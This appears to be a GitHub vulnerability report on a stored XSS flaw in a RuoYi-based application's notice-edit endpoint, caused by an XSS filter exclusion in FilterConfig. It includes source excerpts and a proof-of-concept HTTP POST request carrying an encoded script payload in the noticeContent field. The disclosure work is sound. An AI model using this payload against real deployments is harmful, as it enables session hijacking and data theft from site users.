Skip to content

Stored Cross-Site Scripting (XSS) Vulnerability in /system/notice/edit Endpoint #298

@ez-lbz

Description

@ez-lbz

Stored Cross-Site Scripting (XSS) Vulnerability in /system/notice/edit Endpoint

Vulnerability Description:

A stored Cross-Site Scripting (XSS) vulnerability exists in the /system/notice/edit route of the affected application, specifically in the editSave method handling this endpoint. The application fails to properly sanitize user-supplied input before storing it into the backend database. As a result, malicious payloads submitted by attackers are persistently stored and subsequently executed in the browser context of users accessing the relevant functionality.

Although the project implements an XSSFilter mechanism intended to mitigate cross-site scripting attacks, improper configuration within the com.ruoyi.framework.config.FilterConfig component explicitly excludes all sub-routes under /system/notice from XSS filtering. This misconfiguration effectively disables XSS protection for these endpoints, including the editSave method at /system/notice/edit, allowing attacker-controlled script content to bypass security controls and execute within the client-side environment.

Details

  • Source:
@RequiresPermissions("system:notice:edit")
    @Log(title = "通知公告", businessType = BusinessType.UPDATE)
    @PostMapping("/edit")
    @ResponseBody
    public AjaxResult editSave(@Validated SysNotice notice)
    {
        notice.setUpdateBy(getLoginName());
        return toAjax(noticeService.updateNotice(notice));
    }
  • Sink:
@RequiresPermissions("system:notice:edit")
    @GetMapping("/edit/{noticeId}")
    public String edit(@PathVariable("noticeId") Long noticeId, ModelMap mmap)
    {
        mmap.put("notice", noticeService.selectNoticeById(noticeId));
        return prefix + "/edit";
    }
  • Another sink:
@RequiresPermissions("system:notice:list")
    @GetMapping("/view/{noticeId}")
    public String view(@PathVariable("noticeId") Long noticeId, ModelMap mmap)
    {
        mmap.put("notice", noticeService.selectNoticeById(noticeId));
        return prefix + "/view";
    }

The code for FilterConfig is as follows, where the ${xss.excludes} parameter defaults to /system/notice.

package com.ruoyi.framework.config;

import java.util.HashMap;
import java.util.Map;
import javax.servlet.DispatcherType;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.xss.XssFilter;

/**
 * Filter配置
 *
 * @author ruoyi
 */
@Configuration
@ConditionalOnProperty(value = "xss.enabled", havingValue = "true")
public class FilterConfig
{
    @Value("${xss.excludes}")
    private String excludes;

    @Value("${xss.urlPatterns}")
    private String urlPatterns;

    @SuppressWarnings({ "rawtypes", "unchecked" })
    @Bean
    public FilterRegistrationBean xssFilterRegistration()
    {
        FilterRegistrationBean registration = new FilterRegistrationBean();
        registration.setDispatcherTypes(DispatcherType.REQUEST);
        registration.setFilter(new XssFilter());
        registration.addUrlPatterns(StringUtils.split(urlPatterns, ","));
        registration.setName("xssFilter");
        registration.setOrder(FilterRegistrationBean.HIGHEST_PRECEDENCE);
        Map<String, String> initParameters = new HashMap<String, String>();
        initParameters.put("excludes", excludes);
        registration.setInitParameters(initParameters);
        return registration;
    }
}

POC

  • Injecting XSS payload
POST /system/notice/edit HTTP/1.1
Host: localhost
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br, zstd
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1753431455,1753436446,1753450237; JSESSIONID=9f6a1447-bb90-4b17-91e5-0760a42c0e1f
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
X-Requested-With: XMLHttpRequest
Sec-Fetch-Mode: cors
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-Token: EyNy+XnqMXQ/kk2OgeD13URrEEWZqxYACCmTx7xRidw=
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Referer: http://localhost/system/notice/edit/14
Accept-Language: zh-CN,zh;q=0.9
Origin: http://localhost
sec-ch-ua-platform: "Windows"
Content-Length: 168

noticeId=14&noticeTitle=%E5%81%9C%E6%B0%B4%E5%81%9C%E7%94%B5&noticeType=1&noticeContent=%3Cp%3E%3Cscript%3Ealert('XSS')%3C/script%3E%3Cbr%3E%3C/p%3E&status=0
Image
  • XSS will be triggered when access to the OUTPUT page.
Image Image

Impact

Successful exploitation of this vulnerability could allow an attacker to inject arbitrary JavaScript code, leading to unauthorized actions such as session hijacking, data theft, or the delivery of malicious content to users accessing affected pages.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions